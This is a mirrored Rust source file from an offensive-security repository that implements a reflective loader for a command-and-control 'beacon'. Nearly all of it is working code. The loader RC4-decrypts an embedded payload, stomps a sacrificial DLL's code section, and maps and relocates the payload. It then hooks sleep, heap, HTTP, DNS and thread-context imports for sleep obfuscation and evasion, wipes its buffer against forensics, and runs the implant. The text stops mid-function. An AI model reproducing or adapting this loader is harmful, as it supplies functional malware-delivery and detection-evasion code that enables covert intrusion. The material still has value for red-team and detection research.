mirror of
https://github.com/memN0ps/doublepulsar-rs
synced 2026-06-06 16:14:28 +00:00
818 lines
32 KiB
Rust
818 lines
32 KiB
Rust
//! Beacon loader: decrypts, maps, and executes an embedded PE payload.
|
|
//!
|
|
//! This module implements the core loading logic for reflective DLL injection:
|
|
//!
|
|
//! 1. **Decrypt** - RC4 decrypt the embedded beacon from the CONFIG struct
|
|
//! 2. **Module Stomp** - Load a sacrificial DLL and overwrite its .text section
|
|
//! 3. **Map Sections** - Copy beacon PE sections to their virtual addresses
|
|
//! 4. **Resolve Imports** - Fill IAT with real function addresses from DLLs
|
|
//! 5. **Install Hooks** - Patch specific IAT entries to redirect through our hooks
|
|
//! 6. **Rebase Image** - Apply base relocations to fix absolute addresses
|
|
//! 7. **Fix Permissions** - Set correct memory protections (RX, RW, RO) per section
|
|
//! 8. **Execute** - Call beacon's DllMain entry point
|
|
//!
|
|
//! # Memory Layout
|
|
//!
|
|
//! The loader creates a contiguous memory region inside a stomped module:
|
|
//!
|
|
//! ```text
|
|
//! Initial state (set RX by injector before executing Start):
|
|
//! [STUB metadata][Loader code (.text$B)][Spoof code (.text$E)][Hook code (.text$D)]
|
|
//! |<----------------------- exec region (RX) ---------------------------------------->|
|
|
//!
|
|
//! After loader runs (stomped module):
|
|
//! [STUB metadata][Loader + Hook + Spoof code][Beacon PE sections...]
|
|
//! |<---- exec region (RX) ------------------>|<-- per-section protections -->|
|
|
//! ```
|
|
|
|
use {
|
|
crate::{
|
|
hooks::{
|
|
DnsExtractRecordsFromMessage_UTF8_Hook, DnsWriteQuestionToBuffer_UTF8_Hook,
|
|
GetProcessHeap_Hook, HeapAlloc_Hook, HttpOpenRequestA_Hook, HttpQueryInfoA_Hook,
|
|
HttpSendRequestA_Hook, InternetCloseHandle_Hook, InternetConnectA_Hook,
|
|
InternetOpenA_Hook, InternetQueryDataAvailable_Hook, InternetReadFile_Hook,
|
|
NtContinue_Hook, NtGetContextThread_Hook, NtProtectVirtualMemory_Hook,
|
|
NtSetContextThread_Hook, NtWaitForSingleObject_Hook, RtlAllocateHeap_Hook, Sleep_Hook,
|
|
SystemFunction032_Hook, WSASocketA_Hook, WaitForSingleObjectEx_Hook,
|
|
WaitForSingleObject_Hook, WinHttpCloseHandle_Hook, WinHttpConnect_Hook,
|
|
WinHttpOpenRequest_Hook, WinHttpOpen_Hook, WinHttpQueryDataAvailable_Hook,
|
|
WinHttpQueryHeaders_Hook, WinHttpReadData_Hook, WinHttpReceiveResponse_Hook,
|
|
WinHttpSendRequest_Hook,
|
|
},
|
|
Start, StubAddr, C_PTR, G_END, OFFSET,
|
|
},
|
|
api::{
|
|
api::{Api, MemorySection},
|
|
dbg_print, hash_str,
|
|
util::{
|
|
hook_iat, memcopy, memzero, rebase_image, resolve_imports,
|
|
section_characteristics_to_protect,
|
|
},
|
|
windows::*,
|
|
NT_SUCCESS,
|
|
},
|
|
core::{ffi::c_void, ptr::null_mut},
|
|
};
|
|
|
|
/// Titan CONFIG structure (matches Titan.cna output)
|
|
///
|
|
/// This struct is appended directly after the loader code by the CNA script:
|
|
/// [Loader code (ends at G_END())][CONFIG struct][Encrypted beacon]
|
|
///
|
|
/// NOTE: Titan's Config.h uses big-endian byte order for rc4_len!
|
|
#[repr(C, packed)]
|
|
struct Config {
|
|
/// Size of encrypted beacon (4 bytes, BIG-ENDIAN!)
|
|
rc4_len: [u8; 4],
|
|
/// 16-byte RC4 key (random ASCII string generated by CNA)
|
|
key_buf: [u8; 16],
|
|
// rc4_buf (encrypted beacon) follows immediately after (flexible array)
|
|
}
|
|
|
|
/// Main loader entry point: decrypts, maps, and executes the embedded beacon.
|
|
///
|
|
/// This function performs the complete loading sequence for reflective injection.
|
|
/// It is called from the ACE thread trampoline after RIP redirection.
|
|
///
|
|
/// # Memory Layout Transformation
|
|
///
|
|
/// Linker merges all into one `.text` section (see scripts/linker.ld):
|
|
/// `.text$A` → `.text$B` → `.text$D` → `.text$E` → `.rdata` → `.data` → `.text$ZZ`
|
|
///
|
|
/// ```text
|
|
/// BEFORE (AceLdr + beacon stomped into first module by shellcode loader):
|
|
///
|
|
/// First stomped module .text:
|
|
/// StubAddr() G_END()
|
|
/// | |
|
|
/// v v
|
|
/// ┌────────┬────────┬─────────┬───────┬───────┬─────────┬────────┬─────────────────┐
|
|
/// │ Start │ Loader │ Hooks │ Utils │ .data │.text$ZZ │ CONFIG │Encrypted Beacon │
|
|
/// │.text$A │.text$B │ .text$D │.text$E│.rdata │ (G_END) │ (20 B) │ (RC4 encrypted) │
|
|
/// └────────┴────────┴─────────┴───────┴───────┴─────────┴────────┴─────────────────┘
|
|
/// |<--------------- copy_stub() copies ---------------->|
|
|
/// | |
|
|
/// Temp buffer (NtAllocateVirtualMemory RW): |
|
|
/// ┌─────────────────────────────┐ | |
|
|
/// │ Decrypted Beacon PE │<-----+ RC4 decrypt |
|
|
/// │ (DOS/NT hdrs + sections) │ (from CONFIG key)
|
|
/// └─────────────────────────────┘
|
|
/// |
|
|
/// | copy_beacon_sections()
|
|
/// v
|
|
/// AFTER (AceLdr stomps into second module, beacon decrypted and mapped):
|
|
///
|
|
/// Second stomped module .text:
|
|
/// buffer buffer + reg.exec
|
|
/// | |
|
|
/// v v
|
|
/// ┌────────┬────────┬─────────┬───────┬───────┬─────────┬───────────────────────┐
|
|
/// │ Start │ Loader │ Hooks │ Utils │ .data │.text$ZZ │ Beacon PE Sections │
|
|
/// │.text$A │.text$B │ .text$D │.text$E│.rdata │ (G_END) │(.text, .rdata, .data) │
|
|
/// └────────┴────────┴─────────┴───────┴───────┴─────────┴───────────────────────┘
|
|
/// |<----------------- RX (stub) ------------------>| |<-- per-section perms ->|
|
|
/// |<----------------- stub_size ------------------>| |
|
|
/// |<------------------------------ reg.full ---------------------------------->|
|
|
///
|
|
/// Temp buffer: zeroed (memzero) and freed (NtFreeVirtualMemory) after mapping
|
|
/// ```
|
|
///
|
|
/// # Execution Steps
|
|
///
|
|
/// 1. Resolve loader APIs (memory allocation, protection)
|
|
/// 2. Parse CONFIG struct at G_END() to get beacon size and RC4 key
|
|
/// 3. Allocate temporary RW buffer for decryption
|
|
/// 4. Decrypt beacon from CONFIG into temp buffer
|
|
/// 5. Calculate memory layout regions (stub + beacon sizes)
|
|
/// 6. Module stomp: load sacrificial DLL
|
|
/// 7. Change stomped region permissions to RW
|
|
/// 8. Copy STUB metadata and loader code to stomped region
|
|
/// 9. Copy beacon sections to virtual addresses
|
|
/// 10. Create isolated heap for beacon allocations
|
|
/// 11. Fill STUB with runtime metadata (heap handle, section info)
|
|
/// 12. Resolve imports (fill IAT with real function addresses)
|
|
/// 13. Install IAT hooks (patch specific entries: Sleep, GetProcessHeap)
|
|
/// 14. Apply base relocations (fix absolute addresses)
|
|
/// 15. Set stub region to RX
|
|
/// 16. Set final section permissions per section
|
|
/// 17. Zero and free temporary decrypt buffer
|
|
/// 18. Execute beacon DllMain
|
|
///
|
|
/// # Safety
|
|
///
|
|
/// Performs raw memory operations and calls into untrusted beacon code.
|
|
#[link_section = ".text$B"]
|
|
#[rustfmt::skip]
|
|
pub unsafe extern "C" fn loader(_arg: *mut c_void)
|
|
{
|
|
let mut api = Api::new();
|
|
#[cfg(feature = "spoof-uwd")]
|
|
api.build_spoof_configs();
|
|
let mut old_protection: u32 = 0;
|
|
let mut reg: Reg = core::mem::zeroed();
|
|
|
|
dbg_print!(api, b"[LDR] Started\n\0");
|
|
|
|
// Step 1: Parse Titan CONFIG struct (directly at G_END())
|
|
let cfg = G_END() as *const Config;
|
|
let beacon_size = u32::from_be_bytes((*cfg).rc4_len) as SIZE_T;
|
|
let key_ptr = (*cfg).key_buf.as_ptr();
|
|
let encrypted_beacon = (cfg as usize + core::mem::size_of::<Config>()) as *const u8;
|
|
|
|
// Step 3: Allocate temporary RW buffer for decryption (Titan calls this "Enc")
|
|
let mut dec_buffer: PVOID = null_mut();
|
|
let mut alloc_size = beacon_size;
|
|
|
|
if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory(-1isize as HANDLE, &mut dec_buffer, 0, &mut alloc_size, MEM_COMMIT, PAGE_READWRITE)) {
|
|
dbg_print!(api, b"[LDR] FAIL: NtAllocateVirtualMemory\n\0");
|
|
return;
|
|
}
|
|
dbg_print!(api, b"[LDR] Allocated RW buffer: %p\n\0", dec_buffer);
|
|
|
|
// Step 4: Decrypt beacon from CONFIG into temp buffer
|
|
crate::crypto::decrypt_beacon(key_ptr, encrypted_beacon, dec_buffer as *mut u8, beacon_size);
|
|
dbg_print!(api, b"[LDR] Beacon decrypted\n\0");
|
|
|
|
// Parse decrypted beacon PE headers from temp buffer
|
|
reg.dos = dec_buffer as *mut IMAGE_DOS_HEADER;
|
|
reg.nt = (dec_buffer as usize + (*reg.dos).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
|
|
dbg_print!(api, b"[LDR] DOS header: %p\n\0", reg.dos);
|
|
|
|
// Step 5: Calculate memory layout regions (stub + beacon sizes)
|
|
calculate_regions(&mut reg);
|
|
dbg_print!(api, b"[LDR] reg.full: %p, reg.exec: %p\n\0", reg.full, reg.exec);
|
|
|
|
// Step 6: Module stomp - load sacrificial DLL
|
|
let module_base = api.kernel32.LoadLibraryExA(b"d3d10.dll\0".as_ptr() as LPCSTR, null_mut(), DONT_RESOLVE_DLL_REFERENCES);
|
|
|
|
if module_base.is_null() {
|
|
dbg_print!(api, b"[LDR] FAIL: LoadLibraryExA\n\0");
|
|
return;
|
|
}
|
|
|
|
let dos_header = module_base as *const IMAGE_DOS_HEADER;
|
|
let nt_headers = (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS;
|
|
let first_section = IMAGE_FIRST_SECTION(nt_headers);
|
|
let text_rva = (*first_section).VirtualAddress as usize;
|
|
let text_size = (*first_section).Misc.virtual_size as usize;
|
|
let mut memory_buffer = (module_base as usize + text_rva) as *mut c_void;
|
|
|
|
if reg.full > text_size {
|
|
dbg_print!(api, b"[LDR] FAIL: payload too large for .text\n\0");
|
|
return;
|
|
}
|
|
dbg_print!(api, b"[LDR] Stomp target: %p\n\0", memory_buffer);
|
|
|
|
// Step 7: Change stomped region permissions to RW
|
|
if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory(-1isize as HANDLE, &mut memory_buffer, &mut reg.full, PAGE_READWRITE, &mut old_protection)) {
|
|
dbg_print!(api, b"[LDR] FAIL: NtProtectVirtualMemory RW\n\0");
|
|
return;
|
|
}
|
|
dbg_print!(api, b"[LDR] Changed to RW\n\0");
|
|
|
|
// Step 8: Copy STUB metadata and loader code to stomped region
|
|
copy_stub(memory_buffer as _);
|
|
dbg_print!(api, b"[LDR] Stub copied\n\0");
|
|
|
|
// Step 9: Copy beacon sections to virtual addresses
|
|
let map = copy_beacon_sections(memory_buffer, ®);
|
|
dbg_print!(api, b"[LDR] Beacon sections copied: %p\n\0", map);
|
|
|
|
// Step 10: Create isolated heap for beacon allocations
|
|
let beacon_heap = api.ntdll.RtlCreateHeap(HEAP_GROWABLE, null_mut(), 0, 0, null_mut(), null_mut());
|
|
dbg_print!(api, b"[LDR] Heap created: %p\n\0", beacon_heap);
|
|
|
|
// Step 11: Fill STUB with runtime metadata + copy Api into STUB
|
|
fill_stub(memory_buffer, beacon_heap, &mut reg, &api);
|
|
dbg_print!(api, b"[LDR] Stub filled (Api embedded in STUB)\n\0");
|
|
|
|
// From here, use the STUB-embedded Api (persists after loader returns)
|
|
let api = &mut *(*(memory_buffer as PSTUB)).api;
|
|
|
|
// Step 12: Resolve imports (fills IAT with real function addresses)
|
|
let import_dir = &(*reg.nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
|
if import_dir.VirtualAddress != 0 {
|
|
let import_dir_addr = (map as usize + import_dir.VirtualAddress as usize) as *mut u8;
|
|
let _ = resolve_imports(api, map as _, import_dir_addr);
|
|
dbg_print!(&*api, b"[LDR] Imports resolved\n\0");
|
|
}
|
|
|
|
// Step 13: Install IAT hooks (patches specific entries to redirect to our hooks)
|
|
install_hooks(map, memory_buffer, reg.nt);
|
|
dbg_print!(&*api, b"[LDR] Hooks installed\n\0");
|
|
|
|
// Step 14: Apply base relocations (fixes absolute addresses)
|
|
let reloc_dir = &(*reg.nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
|
if reloc_dir.VirtualAddress != 0 {
|
|
let reloc_dir_addr = (map as usize + reloc_dir.VirtualAddress as usize) as *mut u8;
|
|
let image_base = (*reg.nt).OptionalHeader.ImageBase as *mut u8;
|
|
let _ = rebase_image(map as _, reloc_dir_addr, image_base);
|
|
dbg_print!(&*api, b"[LDR] Relocations applied\n\0");
|
|
}
|
|
|
|
// Step 15: Set stub region to RX (code can execute, no writes needed)
|
|
let mut stub_base = memory_buffer;
|
|
let mut stub_size = reg.exec;
|
|
let mut stub_old_prot: ULONG = 0;
|
|
|
|
if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory(-1isize as HANDLE, &mut stub_base, &mut stub_size, PAGE_EXECUTE_READ, &mut stub_old_prot)) {
|
|
dbg_print!(&*api, b"[LDR] FAIL: NtProtectVirtualMemory RX\n\0");
|
|
return;
|
|
}
|
|
dbg_print!(&*api, b"[LDR] Stub set to RX\n\0");
|
|
|
|
// Step 16: Set final section protections (RX for .text, RO for .rdata, etc.)
|
|
fix_section_permissions(api, memory_buffer, ®);
|
|
dbg_print!(&*api, b"[LDR] Section permissions set\n\0");
|
|
|
|
// Save entry point before freeing buffer
|
|
let entry_rva = (*reg.nt).OptionalHeader.AddressOfEntryPoint as usize;
|
|
dbg_print!(&*api, b"[LDR] Entry RVA: %p\n\0", entry_rva);
|
|
|
|
// Step 17: Zero and free temporary decrypt buffer (OPSEC: prevent forensics)
|
|
memzero(dec_buffer as *mut u8, beacon_size as u32);
|
|
let mut free_size: SIZE_T = 0;
|
|
let _ = api.ntdll.NtFreeVirtualMemory(-1isize as HANDLE, &mut dec_buffer, &mut free_size, MEM_RELEASE);
|
|
dbg_print!(&*api, b"[LDR] Temp buffer freed\n\0");
|
|
|
|
dbg_print!(&*api, b"[LDR] Executing DllMain\n\0");
|
|
|
|
// Step 18: Execute beacon DllMain
|
|
execute_beacon(C_PTR((map as usize).wrapping_add(entry_rva)));
|
|
}
|
|
|
|
/// Sets memory protection for each beacon section based on PE characteristics.
|
|
///
|
|
/// Must be called after `copy_beacon_sections` and before `fill_stub`.
|
|
/// This ensures STUB stores correct protection values for sleep mask to use.
|
|
///
|
|
/// # Arguments
|
|
/// * `api` - Resolved API structure with NtProtectVirtualMemory
|
|
/// * `buffer` - Base address where beacon is mapped (stomp target)
|
|
/// * `reg` - Region info containing NT headers and section offsets
|
|
#[link_section = ".text$B"]
|
|
pub unsafe fn fix_section_permissions(api: &mut Api, buffer: PVOID, reg: &Reg) {
|
|
let nt = reg.nt;
|
|
let num_sections = (*nt).FileHeader.NumberOfSections as usize;
|
|
let first_section = IMAGE_FIRST_SECTION(nt);
|
|
|
|
dbg_print!(
|
|
api,
|
|
b"[LDR:FIX_PERM] buffer: %p, exec: %p, sections: %d\n\0",
|
|
buffer,
|
|
reg.exec,
|
|
num_sections
|
|
);
|
|
|
|
for i in 0..num_sections {
|
|
let section = first_section.add(i);
|
|
let mut section_base =
|
|
(buffer as usize + reg.exec + (*section).VirtualAddress as usize) as PVOID;
|
|
let mut section_size = (*section).Misc.virtual_size as SIZE_T;
|
|
let new_protect = section_characteristics_to_protect((*section).Characteristics);
|
|
let mut old_protect: ULONG = 0;
|
|
|
|
let _status = api.ntdll.NtProtectVirtualMemory(
|
|
-1isize as HANDLE,
|
|
&mut section_base as *mut PVOID,
|
|
&mut section_size as *mut SIZE_T,
|
|
new_protect,
|
|
&mut old_protect as *mut ULONG,
|
|
);
|
|
|
|
dbg_print!(
|
|
api,
|
|
b"[LDR:FIX_PERM] [%d] base: %p, prot: %x -> %x\n\0",
|
|
i,
|
|
section_base,
|
|
old_protect,
|
|
new_protect
|
|
);
|
|
}
|
|
}
|
|
|
|
/// Patches specific IAT entries to redirect beacon API calls through our hooks.
|
|
///
|
|
/// This function only installs hooks - import resolution and relocation are handled
|
|
/// separately in the loader function.
|
|
///
|
|
/// # Arguments
|
|
///
|
|
/// * `map` - Base address of the mapped beacon image
|
|
/// * `buffer` - Base address of the stomped region (for calculating hook addresses)
|
|
/// * `nt` - Pointer to beacon's NT headers
|
|
#[link_section = ".text$B"]
|
|
pub unsafe fn install_hooks(map: PVOID, buffer: PVOID, nt: *mut IMAGE_NT_HEADERS) {
|
|
let import_dir = &(*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
|
|
|
if import_dir.VirtualAddress != 0 {
|
|
let import_dir_addr = (map as usize + import_dir.VirtualAddress as usize) as *mut u8;
|
|
let stub_base = StubAddr();
|
|
|
|
// Calculate hook address in copied stub region
|
|
let hook_addr = |hook_fn: *const ()| -> *mut u8 {
|
|
let hook_offset = (hook_fn as usize).wrapping_sub(stub_base);
|
|
(buffer as usize + hook_offset) as *mut u8
|
|
};
|
|
|
|
// Heap hooks - redirect allocations to isolated heap
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("GetProcessHeap"),
|
|
hook_addr(GetProcessHeap_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("RtlAllocateHeap"),
|
|
hook_addr(RtlAllocateHeap_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("HeapAlloc"),
|
|
hook_addr(HeapAlloc_Hook as *const ()),
|
|
);
|
|
|
|
// Sleep hooks - enable sleep obfuscation
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("Sleep"),
|
|
hook_addr(Sleep_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("NtWaitForSingleObject"),
|
|
hook_addr(NtWaitForSingleObject_Hook as *const ()),
|
|
);
|
|
|
|
// WinINet hooks
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("InternetConnectA"),
|
|
hook_addr(InternetConnectA_Hook as *const ()),
|
|
);
|
|
|
|
// WinINet hooks
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("InternetOpenA"),
|
|
hook_addr(InternetOpenA_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("HttpOpenRequestA"),
|
|
hook_addr(HttpOpenRequestA_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("HttpSendRequestA"),
|
|
hook_addr(HttpSendRequestA_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("HttpQueryInfoA"),
|
|
hook_addr(HttpQueryInfoA_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("InternetReadFile"),
|
|
hook_addr(InternetReadFile_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("InternetQueryDataAvailable"),
|
|
hook_addr(InternetQueryDataAvailable_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("InternetCloseHandle"),
|
|
hook_addr(InternetCloseHandle_Hook as *const ()),
|
|
);
|
|
|
|
// WinHTTP hooks
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpOpen"),
|
|
hook_addr(WinHttpOpen_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpConnect"),
|
|
hook_addr(WinHttpConnect_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpOpenRequest"),
|
|
hook_addr(WinHttpOpenRequest_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpSendRequest"),
|
|
hook_addr(WinHttpSendRequest_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpReceiveResponse"),
|
|
hook_addr(WinHttpReceiveResponse_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpQueryHeaders"),
|
|
hook_addr(WinHttpQueryHeaders_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpReadData"),
|
|
hook_addr(WinHttpReadData_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpQueryDataAvailable"),
|
|
hook_addr(WinHttpQueryDataAvailable_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WinHttpCloseHandle"),
|
|
hook_addr(WinHttpCloseHandle_Hook as *const ()),
|
|
);
|
|
|
|
// DNS hooks
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("DnsExtractRecordsFromMessage_UTF8"),
|
|
hook_addr(DnsExtractRecordsFromMessage_UTF8_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("DnsWriteQuestionToBuffer_UTF8"),
|
|
hook_addr(DnsWriteQuestionToBuffer_UTF8_Hook as *const ()),
|
|
);
|
|
|
|
// Winsock hook
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WSASocketA"),
|
|
hook_addr(WSASocketA_Hook as *const ()),
|
|
);
|
|
|
|
// Wait hooks
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WaitForSingleObject"),
|
|
hook_addr(WaitForSingleObject_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("WaitForSingleObjectEx"),
|
|
hook_addr(WaitForSingleObjectEx_Hook as *const ()),
|
|
);
|
|
|
|
// Memory and thread hooks
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("NtProtectVirtualMemory"),
|
|
hook_addr(NtProtectVirtualMemory_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("SystemFunction032"),
|
|
hook_addr(SystemFunction032_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("NtGetContextThread"),
|
|
hook_addr(NtGetContextThread_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("NtSetContextThread"),
|
|
hook_addr(NtSetContextThread_Hook as *const ()),
|
|
);
|
|
hook_iat(
|
|
map as _,
|
|
import_dir_addr,
|
|
hash_str!("NtContinue"),
|
|
hook_addr(NtContinue_Hook as *const ()),
|
|
);
|
|
|
|
// Thread exit hook (not ready - needs cleanup logic)
|
|
// hook_iat(map as _, import_dir_addr, hash_str!("ExitThread"), hook_addr(ExitThread_Hook as *const ()));
|
|
}
|
|
}
|
|
|
|
/// Call beacon DllMain with PROCESS_ATTACH then THREAD_ATTACH (AceLdr semantics).
|
|
#[link_section = ".text$B"]
|
|
pub unsafe extern "C" fn execute_beacon(entry: PVOID) {
|
|
let Ent: DLLMAIN = core::mem::transmute(entry);
|
|
|
|
// Call DllMain with PROCESS_ATTACH
|
|
Ent(
|
|
OFFSET(Start as *const () as usize) as *mut c_void,
|
|
1,
|
|
core::ptr::null_mut(),
|
|
);
|
|
|
|
// Immediately follow with THREAD_ATTACH to mirror AceLdr
|
|
Ent(
|
|
OFFSET(Start as *const () as usize) as *mut c_void,
|
|
4,
|
|
core::ptr::null_mut(),
|
|
);
|
|
}
|
|
|
|
/// STUB metadata structure placed at the start of the allocated region.
|
|
///
|
|
/// # Purpose
|
|
///
|
|
/// The STUB provides a position-independent way for hooks to access runtime data:
|
|
/// - Memory region bounds for sleep obfuscation encryption
|
|
/// - Custom heap handle for beacon allocations
|
|
/// - PE section info for per-section memory protection during sleep
|
|
///
|
|
/// # Memory Layout
|
|
///
|
|
/// ```text
|
|
/// [STUB metadata][Loader code][Hook code][Beacon PE sections]
|
|
/// ^-- buffer ^-- executable region ^-- beacon image
|
|
/// ```
|
|
///
|
|
/// # How Hooks Access STUB
|
|
///
|
|
/// Hooks use `StubAddr()` to locate this struct at runtime via RIP-relative addressing.
|
|
/// This enables position-independent access without relocations.
|
|
#[repr(C, packed)]
|
|
pub struct STUB {
|
|
/// Region base for sleep encryption bounds (stub starts here)
|
|
pub stub_beacon_address: ULONG_PTR,
|
|
/// Region size for sleep encryption bounds (stub + beacon)
|
|
pub stub_beacon_size: ULONG_PTR,
|
|
/// Size of the stub/loader code (beacon starts at stub_beacon_address + stub_size)
|
|
pub stub_size: ULONG_PTR,
|
|
/// Isolated heap for beacon allocations
|
|
pub beacon_heap_handle: HANDLE,
|
|
/// Number of PE sections in the beacon
|
|
pub num_sections: u32,
|
|
/// PE section metadata for per-section protection changes
|
|
pub sections: [MemorySection; 20],
|
|
|
|
/// Api pointer - points to inline storage at STUB+0x20C (reserved in ASM).
|
|
/// No separate allocation; Api lives in the STUB region itself.
|
|
/// After Step 15 this region is RX; wrappers copy Config to stack before spoofed calls.
|
|
pub api: *mut Api,
|
|
}
|
|
|
|
/// Type alias for pointer to STUB
|
|
pub type PSTUB = *mut STUB;
|
|
|
|
/// Populates STUB metadata for runtime access by hooks.
|
|
///
|
|
/// Writes beacon region bounds, heap handle, and section metadata into the
|
|
/// STUB structure at the start of the allocated region. This data is read
|
|
/// by hooks (e.g., `Sleep_Hook`) via RIP-relative addressing.
|
|
///
|
|
/// # Arguments
|
|
///
|
|
/// * `buffer` - Base address of the stomped region (STUB lives here)
|
|
/// * `heap` - Handle to the isolated beacon heap (from `RtlCreateHeap`)
|
|
/// * `reg` - Region info containing PE headers and calculated sizes
|
|
///
|
|
/// # STUB Fields Populated
|
|
///
|
|
/// - `stub_beacon_address` - Base of the entire region
|
|
/// - `stub_beacon_size` - Total size (stub + beacon)
|
|
/// - `stub_size` - Size of stub/loader code (beacon offset)
|
|
/// - `beacon_heap_handle` - Isolated heap for beacon allocations
|
|
/// - `num_sections` - Number of PE sections (capped at 20)
|
|
/// - `sections[]` - Per-section metadata (base, size, protection)
|
|
#[link_section = ".text$B"]
|
|
pub unsafe fn fill_stub(buffer: PVOID, heap: HANDLE, reg: &Reg, api: &Api) {
|
|
let stub_ptr = buffer as PSTUB;
|
|
|
|
(*stub_ptr).stub_beacon_address = buffer as usize;
|
|
(*stub_ptr).stub_beacon_size = reg.full as usize;
|
|
(*stub_ptr).stub_size = reg.exec as usize;
|
|
(*stub_ptr).beacon_heap_handle = heap;
|
|
|
|
// Copy Api into STUB's inline storage (reserved space at STUB + size_of::<STUB>())
|
|
let api_storage = (stub_ptr as usize + core::mem::size_of::<STUB>()) as *mut u8;
|
|
memcopy(
|
|
api_storage,
|
|
api as *const Api as *const u8,
|
|
core::mem::size_of::<Api>() as u32,
|
|
);
|
|
(*stub_ptr).api = api_storage as *mut Api;
|
|
|
|
// Populate sections now while we have PE headers
|
|
let nt = reg.nt;
|
|
let num_sections = (*nt).FileHeader.NumberOfSections as usize;
|
|
let first_section = IMAGE_FIRST_SECTION(nt);
|
|
|
|
(*stub_ptr).num_sections = num_sections.min(20) as u32;
|
|
|
|
for i in 0..num_sections.min(20) {
|
|
let section = first_section.add(i);
|
|
|
|
(*stub_ptr).sections[i].base_address =
|
|
(buffer as usize + reg.exec + (*section).VirtualAddress as usize) as PVOID;
|
|
(*stub_ptr).sections[i].size = (*section).Misc.virtual_size as SIZE_T;
|
|
(*stub_ptr).sections[i].current_protect =
|
|
section_characteristics_to_protect((*section).Characteristics);
|
|
(*stub_ptr).sections[i].previous_protect =
|
|
section_characteristics_to_protect((*section).Characteristics);
|
|
}
|
|
}
|
|
|
|
/// Copies beacon PE sections from the decrypted image to the stomped module region.
|
|
///
|
|
/// Mirrors AceLdr semantics: PE headers remain in the temp buffer; only raw
|
|
/// section data is copied to their respective VirtualAddress offsets.
|
|
///
|
|
/// # Arguments
|
|
///
|
|
/// * `buffer` - Base of the stomped module region (STUB starts here)
|
|
/// * `reg` - Region info with PE headers and exec offset
|
|
///
|
|
/// # Returns
|
|
///
|
|
/// Pointer to the mapped beacon image (buffer + exec offset).
|
|
#[link_section = ".text$B"]
|
|
unsafe fn copy_beacon_sections(buffer: PVOID, reg: &Reg) -> PVOID {
|
|
// Step 1: the mapped beacon lives after the stub exec region
|
|
let map = (buffer as usize).wrapping_add(reg.exec as usize) as *mut u8;
|
|
|
|
// IMPORTANT: Zero the entire beacon region first, OTHERWISE WE CRASH
|
|
let size_of_image = (*reg.nt).OptionalHeader.SizeOfImage as usize;
|
|
memzero(map, size_of_image as u32);
|
|
|
|
let nt_headers = reg.nt as *const IMAGE_NT_HEADERS;
|
|
let num_sections = (*nt_headers).FileHeader.NumberOfSections as usize;
|
|
|
|
// Step 2: get the first section header
|
|
let first_section = (nt_headers as usize + core::mem::size_of::<IMAGE_NT_HEADERS>())
|
|
as *const IMAGE_SECTION_HEADER;
|
|
|
|
// Step 3: lay out each raw section at its VirtualAddress
|
|
